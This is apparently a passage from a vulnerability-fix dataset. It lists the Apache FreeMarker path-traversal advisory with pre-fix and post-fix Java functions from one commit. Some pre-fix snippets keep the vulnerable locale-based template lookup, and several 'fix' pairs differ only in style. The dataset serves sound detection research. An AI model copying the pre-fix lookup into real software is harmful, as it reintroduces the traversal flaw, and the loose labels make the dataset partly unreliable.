"GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "getLessSpecificLocale" function_lines = [[33, 45]] id = "apache-freemarker-a74ec0787d3280ea" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/core/_CoreLocaleUtils.java" post_fix = " public static Locale getLessSpecificLocale(Locale locale) {\n String country = locale.getCountry();\n if (!locale.getVariant().isEmpty()) {\n return new Locale(locale.getLanguage(), country);\n }\n if (!country.isEmpty()) {\n return new Locale(locale.getLanguage());\n }\n return null;\n }\n\n}" pre_fix = " public static Locale getLessSpecificLocale(Locale locale) {\n String country = locale.getCountry();\n if (locale.getVariant().length() != 0) {\n String language = locale.getLanguage();\n return country != null ? new Locale(language, country) : new Locale(language);\n }\n if (country.length() != 0) {\n return new Locale(locale.getLanguage());\n }\n return null;\n }\n \n}" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "removeRedundantStarSteps" function_lines = [[424, 454]] id = "apache-freemarker-a765c68d84f2b828" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateNameFormat.java" post_fix = " private String removeRedundantStarSteps(String path) {\n String prevName;\n do {\n int supiciousIdx = path.indexOf(\"*/*\");\n if (supiciousIdx == -1) {\n break;\n }\n\n prevName = path;\n\n // Is it delimited on both sided by \"/\" or by the string boundaires? \n if ((supiciousIdx == 0 || path.charAt(supiciousIdx - 1) == '/')\n && (supiciousIdx + 3 == path.length() || path.charAt(supiciousIdx + 3) == '/')) {\n path = path.substring(0, supiciousIdx) + path.substring(supiciousIdx + 2);\n }\n } while (prevName != path);\n\n // An initial \"*\" step is redundant:\n if (path.startsWith(\"*\")) {\n if (path.length() == 1) {\n path = \"\";\n } else if (path.charAt(1) == '/') {\n path = path.substring(2);\n }\n // else: it's wasn't a \"*\" step.\n }\n\n return path;\n }\n\n @Override" pre_fix = " private String removeRedundantStarSteps(String path) {\n String prevName;\n removeDoubleStarSteps: do {\n int supiciousIdx = path.indexOf(\"*/*\");\n if (supiciousIdx == -1) {\n break removeDoubleStarSteps;\n }\n \n prevName = path;\n \n // Is it delimited on both sided by \"/\" or by the string boundaires? \n if ((supiciousIdx == 0 || path.charAt(supiciousIdx - 1) == '/')\n && (supiciousIdx + 3 == path.length() || path.charAt(supiciousIdx + 3) == '/')) {\n path = path.substring(0, supiciousIdx) + path.substring(supiciousIdx + 2); \n }\n } while (prevName != path);\n \n // An initial \"*\" step is redundant:\n if (path.startsWith(\"*\")) {\n if (path.length() == 1) {\n path = \"\";\n } else if (path.charAt(1) == '/') {\n path = path.substring(2); \n }\n // else: it's wasn't a \"*\" step.\n }\n \n return path;\n }\n\n @Override" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "AliasTemplateDateFormatFactory" function_lines = [[42, 91]] id = "apache-freemarker-aace5c9941b635b3" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/core/AliasTemplateDateFormatFactory.java" post_fix = " public AliasTemplateDateFormatFactory(String targetFormatString) {\n this(targetFormatString, null);\n }\n\n /**\n * @param defaultTargetFormatString\n * The format string this format will be an alias to if there's no locale-specific format string for the\n * requested locale in {@code localizedTargetFormatStrings}. Not {@code null}.\n * @param localizedTargetFormatStrings\n * Maps {@link Locale}-s to format strings (maybe {@code null}). If the desired locale doesn't occur in the\n * map, a less specific locale is tried, repeatedly until only the language part remains. For example, if\n * locale is {@code new Locale(\"en\", \"US\", \"Linux\")}, then these keys will be attempted until a match is\n * found, in this order: {@code new Locale(\"en\", \"US\", \"Linux\")}, {@code new Locale(\"en\", \"US\")},\n * {@code new Locale(\"en\")}. If there's still no matching key, the value of the {@code targetFormatString}\n * will be used.\n */\n public AliasTemplateDateFormatFactory(\n String defaultTargetFormatString, Map localizedTargetFormatStrings) {\n NullArgumentException.check(\"defaultTargetFormatString\", defaultTargetFormatString);\n this.defaultTargetFormatString = defaultTargetFormatString;\n this.localizedTargetFormatStrings = localizedTargetFormatStrings;\n }\n\n @Override\n public TemplateDateFormat get(String params, int dateType, Locale locale, TimeZone timeZone, boolean zonelessInput,\n Environment env) throws TemplateValueFormatException {\n TemplateFormatUtil.checkHasNoParameters(params);\n try {\n String targetFormatString;\n if (localizedTargetFormatStrings != null) {\n Locale lookupLocale = locale;\n targetFormatString = localizedTargetFormatStrings.get(lookupLocale);\n while (targetFormatString == null\n && (lookupLocale = _CoreLocaleUtils.getLessSpecificLocale(lookupLocale)) != null) {\n targetFormatString = localizedTargetFormatStrings.get(lookupLocale);\n }\n } else {\n targetFormatString = null;\n }\n if (targetFormatString == null) {\n targetFormatString = this.defaultTargetFormatString;\n }\n return env.getTemplateDateFormat(targetFormatString, dateType, locale, timeZone, zonelessInput);\n } catch (TemplateValueFormatException e) {\n throw new AliasTargetTemplateValueFormatException(\"Failed to create format based on target format string, \"\n + StringUtil.jQuote(params) + \". Reason given: \" + e.getMessage(), e);\n }\n }\n\n}" pre_fix = " public AliasTemplateDateFormatFactory(String targetFormatString) {\n this.defaultTargetFormatString = targetFormatString;\n localizedTargetFormatStrings = null;\n }\n\n /**\n * @param defaultTargetFormatString\n * The format string this format will be an alias to if there's no locale-specific format string for the\n * requested locale in {@code localizedTargetFormatStrings}\n * @param localizedTargetFormatStrings\n * Maps {@link Locale}-s to format strings. If the desired locale doesn't occur in the map, a less\n * specific locale is tried, repeatedly until only the language part remains. For example, if locale is\n * {@code new Locale(\"en\", \"US\", \"Linux\")}, then these keys will be attempted untol a match is found, in\n * this order: {@code new Locale(\"en\", \"US\", \"Linux\")}, {@code new Locale(\"en\", \"US\")},\n * {@code new Locale(\"en\")}. If there's still no matching key, the value of the\n * {@code targetFormatString} will be used.\n */\n public AliasTemplateDateFormatFactory(\n String defaultTargetFormatString, Map localizedTargetFormatStrings) {\n this.defaultTargetFormatString = defaultTargetFormatString;\n this.localizedTargetFormatStrings = localizedTargetFormatStrings;\n }\n \n @Override\n public TemplateDateFormat get(String params, int dateType, Locale locale, TimeZone timeZone, boolean zonelessInput,\n Environment env) throws TemplateValueFormatException {\n TemplateFormatUtil.checkHasNoParameters(params);\n try {\n String targetFormatString;\n if (localizedTargetFormatStrings != null) {\n Locale lookupLocale = locale;\n targetFormatString = localizedTargetFormatStrings.get(lookupLocale);\n while (targetFormatString == null\n && (lookupLocale = _CoreLocaleUtils.getLessSpecificLocale(lookupLocale)) != null) {\n targetFormatString = localizedTargetFormatStrings.get(lookupLocale);\n }\n } else {\n targetFormatString = null;\n }\n if (targetFormatString == null) {\n targetFormatString = this.defaultTargetFormatString;\n }\n return env.getTemplateDateFormat(targetFormatString, dateType, locale, timeZone, zonelessInput);\n } catch (TemplateValueFormatException e) {\n throw new AliasTargetTemplateValueFormatException(\"Failed to create format based on target format string, \"\n + StringUtil.jQuote(params) + \". Reason given: \" + e.getMessage(), e);\n }\n }\n\n}" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "throwLoadFailedException" function_lines = [[501, 513]] id = "apache-freemarker-c0f61114ff3ab48a" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" post_fix = " private void throwLoadFailedException(Throwable e) throws IOException {\n throw new IOException(\n \"There was an error loading the template on an earlier attempt; see cause exception.\",\n e);\n }\n\n private void storeNegativeLookup(TemplateKey tk,\n CachedTemplate cachedTemplate, Exception e) {\n cachedTemplate.templateOrException = e;\n cachedTemplate.source = null;\n cachedTemplate.lastModified = 0L;\n storeCached(tk, cachedTemplate);\n }\n" pre_fix = " private void throwLoadFailedException(Throwable e) throws IOException {\n throw newIOException(\"There was an error loading the \" +\n \"template on an earlier attempt; see cause exception.\", e);\n }\n\n private void storeNegativeLookup(TemplateKey tk, \n CachedTemplate cachedTemplate, Exception e) {\n cachedTemplate.templateOrException = e;\n cachedTemplate.source = null;\n cachedTemplate.lastModified = 0L;\n storeCached(tk, cachedTemplate);\n }\n" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "removeDotSteps" function_lines = [[327, 361]] id = "apache-freemarker-cf639b1623d15342" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateNameFormat.java" post_fix = " private String removeDotSteps(String path) {\n int nextFromIdx = path.length() - 1;\n while (true) {\n final int dotIdx = path.lastIndexOf('.', nextFromIdx);\n if (dotIdx < 0) {\n return path;\n }\n nextFromIdx = dotIdx - 1;\n\n if (dotIdx != 0 && path.charAt(dotIdx - 1) != '/') {\n // False alarm\n continue;\n }\n\n final boolean slashRight;\n if (dotIdx + 1 == path.length()) {\n slashRight = false;\n } else if (path.charAt(dotIdx + 1) == '/') {\n slashRight = true;\n } else {\n // False alarm\n continue;\n }\n\n if (slashRight) { // \"foo/./bar\" or \"./bar\" \n path = path.substring(0, dotIdx) + path.substring(dotIdx + 2);\n } else { // \"foo/.\" or \".\"\n path = path.substring(0, path.length() - 1);\n }\n }\n }\n\n /**\n * @param name\n * The original name, needed for exception error messages.\n */" pre_fix = " private String removeDotSteps(String path) {\n int nextFromIdx = path.length() - 1;\n findDotSteps: while (true) {\n final int dotIdx = path.lastIndexOf('.', nextFromIdx);\n if (dotIdx < 0) {\n return path;\n }\n nextFromIdx = dotIdx - 1;\n \n if (dotIdx != 0 && path.charAt(dotIdx - 1) != '/') {\n // False alarm\n continue findDotSteps;\n }\n \n final boolean slashRight;\n if (dotIdx + 1 == path.length()) {\n slashRight = false;\n } else if (path.charAt(dotIdx + 1) == '/') {\n slashRight = true;\n } else {\n // False alarm\n continue findDotSteps;\n }\n \n if (slashRight) { // \"foo/./bar\" or \"./bar\" \n path = path.substring(0, dotIdx) + path.substring(dotIdx + 2);\n } else { // \"foo/.\" or \".\"\n path = path.substring(0, path.length() - 1);\n }\n }\n }\n \n /**\n * @param name The original name, needed for exception error messages.\n */" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "ClassTemplateLoader" function_lines = [[53, 68]] id = "apache-freemarker-cfc58a253de5f6bd" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/ClassTemplateLoader.java" post_fix = " public ClassTemplateLoader() {\n this(null, null, \"/\");\n }\n\n /**\n * Creates a template loader that will use the {@link Class#getResource(String)} method of the specified class to\n * load the resources, and {@code \"\"} as base package path. This means that template paths will be resolved\n * relatively to the class location, that is, relatively to the directory (package) of the class.\n *\n * @param resourceLoaderClass\n * the class whose {@link Class#getResource(String)} will be used to load the templates.\n *\n * @deprecated It's confusing that the base path is {@code \"\"}; use {@link #ClassTemplateLoader(Class, String)}\n * instead.\n */\n @Deprecated" pre_fix = " public ClassTemplateLoader() {\n this(null, true, null, \"/\");\n }\n\n /**\n * Creates a template loader that will use the {@link Class#getResource(String)} method of the specified class to\n * load the resources, and {@code \"\"} as base package path. This means that template paths will be resolved\n * relatively to the class location, that is, relatively to the directory (package) of the class.\n *\n * @param resourceLoaderClass\n * the class whose {@link Class#getResource(String)} will be used to load the templates.\n *\n * @deprecated It's confusing that the base path is {@code \"\"}; use {@link #ClassTemplateLoader(Class, String)}\n * instead.\n */\n @Deprecated" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "resolveDotDotSteps" function_lines = [[362, 423]] id = "apache-freemarker-d058151619a90d08" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateNameFormat.java" post_fix = " private String resolveDotDotSteps(String path, final String name) throws MalformedTemplateNameException {\n int nextFromIdx = 0;\n while (true) {\n final int dotDotIdx = path.indexOf(\"..\", nextFromIdx);\n if (dotDotIdx < 0) {\n return path;\n }\n\n if (dotDotIdx == 0) {\n throw newRootLeavingException(name);\n } else if (path.charAt(dotDotIdx - 1) != '/') {\n // False alarm\n nextFromIdx = dotDotIdx + 3;\n continue;\n }\n // Here we know that it has a preceding \"/\".\n\n final boolean slashRight;\n if (dotDotIdx + 2 == path.length()) {\n slashRight = false;\n } else if (path.charAt(dotDotIdx + 2) == '/') {\n slashRight = true;\n } else {\n // False alarm\n nextFromIdx = dotDotIdx + 3;\n continue;\n }\n\n int previousSlashIdx;\n boolean skippedStarStep = false;\n {\n int searchSlashBacwardsFrom = dotDotIdx - 2; // before the \"/..\"\n while (true) {\n if (searchSlashBacwardsFrom == -1) {\n throw newRootLeavingException(name);\n }\n previousSlashIdx = path.lastIndexOf('/', searchSlashBacwardsFrom);\n if (previousSlashIdx == -1) {\n if (searchSlashBacwardsFrom == 0 && path.charAt(0) == '*') {\n // \"*/..\"\n throw newRootLeavingException(name);\n }\n break;\n }\n if (path.charAt(previousSlashIdx + 1) == '*' && path.charAt(previousSlashIdx + 2) == '/') {\n skippedStarStep = true;\n searchSlashBacwardsFrom = previousSlashIdx - 1;\n } else {\n break;\n }\n }\n }\n\n // Note: previousSlashIdx is possibly -1\n // Removed part in {}: \"a/{b/*/../}c\" or \"a/{b/*/..}\"\n path = path.substring(0, previousSlashIdx + 1)\n + (skippedStarStep ? \"*/\" : \"\")\n + path.substring(dotDotIdx + (slashRight ? 3 : 2));\n nextFromIdx = previousSlashIdx + 1;\n }\n }\n" pre_fix = " private String resolveDotDotSteps(String path, final String name) throws MalformedTemplateNameException {\n int nextFromIdx = 0;\n findDotDotSteps: while (true) {\n final int dotDotIdx = path.indexOf(\"..\", nextFromIdx);\n if (dotDotIdx < 0) {\n return path;\n }\n \n if (dotDotIdx == 0) {\n throw newRootLeavingException(name);\n } else if (path.charAt(dotDotIdx - 1) != '/') {\n // False alarm\n nextFromIdx = dotDotIdx + 3;\n continue findDotDotSteps;\n }\n // Here we know that it has a preceding \"/\".\n \n final boolean slashRight;\n if (dotDotIdx + 2 == path.length()) {\n slashRight = false;\n } else if (path.charAt(dotDotIdx + 2) == '/') {\n slashRight = true;\n } else {\n // False alarm\n nextFromIdx = dotDotIdx + 3;\n continue findDotDotSteps;\n }\n \n int previousSlashIdx;\n boolean skippedStarStep = false;\n {\n int searchSlashBacwardsFrom = dotDotIdx - 2; // before the \"/..\"\n scanBackwardsForSlash: while (true) {\n if (searchSlashBacwardsFrom == -1) {\n throw newRootLeavingException(name);\n }\n previousSlashIdx = path.lastIndexOf('/', searchSlashBacwardsFrom);\n if (previousSlashIdx == -1) {\n if (searchSlashBacwardsFrom == 0 && path.charAt(0) == '*') {\n // \"*/..\"\n throw newRootLeavingException(name);\n }\n break scanBackwardsForSlash;\n }\n if (path.charAt(previousSlashIdx + 1) == '*' && path.charAt(previousSlashIdx + 2) == '/') {\n skippedStarStep = true;\n searchSlashBacwardsFrom = previousSlashIdx - 1; \n } else {\n break scanBackwardsForSlash;\n }\n }\n }\n \n // Note: previousSlashIdx is possibly -1\n // Removed part in {}: \"a/{b/*/../}c\" or \"a/{b/*/..}\"\n path = path.substring(0, previousSlashIdx + 1)\n + (skippedStarStep ? \"*/\" : \"\")\n + path.substring(dotDotIdx + (slashRight ? 3 : 2));\n nextFromIdx = previousSlashIdx + 1;\n }\n }\n " repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "MaybeMissingTemplate" function_lines = [[958, 964]] id = "apache-freemarker-d260924010aace8a" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" post_fix = " private MaybeMissingTemplate(Template template) {\n this.template = template;\n this.missingTemplateNormalizedName = null;\n this.missingTemplateReason = null;\n this.missingTemplateCauseException = null;\n }\n\n private MaybeMissingTemplate(\n String normalizedName,\n MalformedTemplateNameException missingTemplateCauseException) {\n this.template = null;\n this.missingTemplateNormalizedName = normalizedName;\n this.missingTemplateReason = null;\n this.missingTemplateCauseException = missingTemplateCauseException;\n }\n\n private MaybeMissingTemplate(\n String normalizedName,\n String missingTemplateReason) {\n this.template = null;\n this.missingTemplateNormalizedName = normalizedName;\n this.missingTemplateReason = missingTemplateReason;\n this.missingTemplateCauseException = null;\n }\n\n /**\n * The {@link Template} if it wasn't missing, otherwise {@code null}.\n */" pre_fix = " private MaybeMissingTemplate(Template template) {\n this.template = template;\n this.missingTemplateNormalizedName = null;\n this.missingTemplateReason = null;\n this.missingTemplateCauseException = null;\n }\n " repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "lookupWithLocalizedThenAcquisitionStrategy" function_lines = [[914, 942]] id = "apache-freemarker-d3c7bc0ea1b565c4" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" post_fix = " public TemplateLookupResult lookupWithLocalizedThenAcquisitionStrategy(final String templateName,\n final Locale templateLocale) throws IOException {\n\n if (templateLocale == null) {\n return lookupWithAcquisitionStrategy(templateName);\n }\n\n int lastDot = templateName.lastIndexOf('.');\n String prefix = lastDot == -1 ? templateName : templateName.substring(0, lastDot);\n String suffix = lastDot == -1 ? \"\" : templateName.substring(lastDot);\n String localeInfix = toLocaleInfix(templateLocale);\n StringBuilder buf = new StringBuilder(templateName.length() + localeInfix.length());\n buf.append(prefix);\n while (true) {\n buf.setLength(prefix.length());\n String path = buf.append(localeInfix).append(suffix).toString();\n TemplateLookupResult lookupResult = lookupWithAcquisitionStrategy(path);\n if (lookupResult.isPositive()) {\n return lookupResult;\n }\n\n int lastUnderscore = localeInfix.lastIndexOf(LOCALE_INFIX_SEPARATOR);\n if (lastUnderscore == -1) {\n break;\n }\n localeInfix = localeInfix.substring(0, lastUnderscore);\n }\n return createNegativeLookupResult();\n }" pre_fix = " public TemplateLookupResult lookupWithLocalizedThenAcquisitionStrategy(final String templateName,\n final Locale templateLocale) throws IOException {\n \n if (templateLocale == null) {\n return lookupWithAcquisitionStrategy(templateName);\n }\n \n int lastDot = templateName.lastIndexOf('.');\n String prefix = lastDot == -1 ? templateName : templateName.substring(0, lastDot);\n String suffix = lastDot == -1 ? \"\" : templateName.substring(lastDot);\n String localeName = LOCALE_PART_SEPARATOR + templateLocale.toString();\n StringBuilder buf = new StringBuilder(templateName.length() + localeName.length());\n buf.append(prefix);\n tryLocaleNameVariations: while (true) {\n buf.setLength(prefix.length());\n String path = buf.append(localeName).append(suffix).toString();\n TemplateLookupResult lookupResult = lookupWithAcquisitionStrategy(path);\n if (lookupResult.isPositive()) {\n return lookupResult;\n }\n \n int lastUnderscore = localeName.lastIndexOf('_');\n if (lastUnderscore == -1) {\n break tryLocaleNameVariations;\n }\n localeName = localeName.substring(0, lastUnderscore);\n }\n return createNegativeLookupResult();\n }" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "OptInTemplateClassResolver" function_lines = [[68, 89]] id = "apache-freemarker-d4b9c3b8b1a5b2c3" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/core/OptInTemplateClassResolver.java" post_fix = " public OptInTemplateClassResolver(\n Set allowedClasses, List trustedTemplates) {\n this.allowedClasses = allowedClasses != null ? allowedClasses : Collections.EMPTY_SET;\n if (trustedTemplates != null) {\n trustedTemplateNames = new HashSet<>();\n trustedTemplatePrefixes = new ArrayList<>();\n\n for (Object trustedTemplate : trustedTemplates) {\n String li = (String) trustedTemplate;\n if (li.startsWith(\"/\")) li = li.substring(1);\n if (li.endsWith(\"*\")) {\n trustedTemplatePrefixes.add(li.substring(0, li.length() - 1));\n } else {\n trustedTemplateNames.add(li);\n }\n }\n } else {\n trustedTemplateNames = Collections.emptySet();\n trustedTemplatePrefixes = Collections.emptyList();\n }\n }" pre_fix = " public OptInTemplateClassResolver(\n Set allowedClasses, List trustedTemplates) {\n this.allowedClasses = allowedClasses != null ? allowedClasses : Collections.EMPTY_SET;\n if (trustedTemplates != null) {\n trustedTemplateNames = new HashSet();\n trustedTemplatePrefixes = new ArrayList();\n \n Iterator it = trustedTemplates.iterator();\n while (it.hasNext()) {\n String li = (String) it.next();\n if (li.startsWith(\"/\")) li = li.substring(1);\n if (li.endsWith(\"*\")) {\n trustedTemplatePrefixes.add(li.substring(0, li.length() - 1));\n } else {\n trustedTemplateNames.add(li);\n }\n }\n } else {\n trustedTemplateNames = Collections.EMPTY_SET;\n trustedTemplatePrefixes = Collections.EMPTY_LIST;\n }\n }" repo = 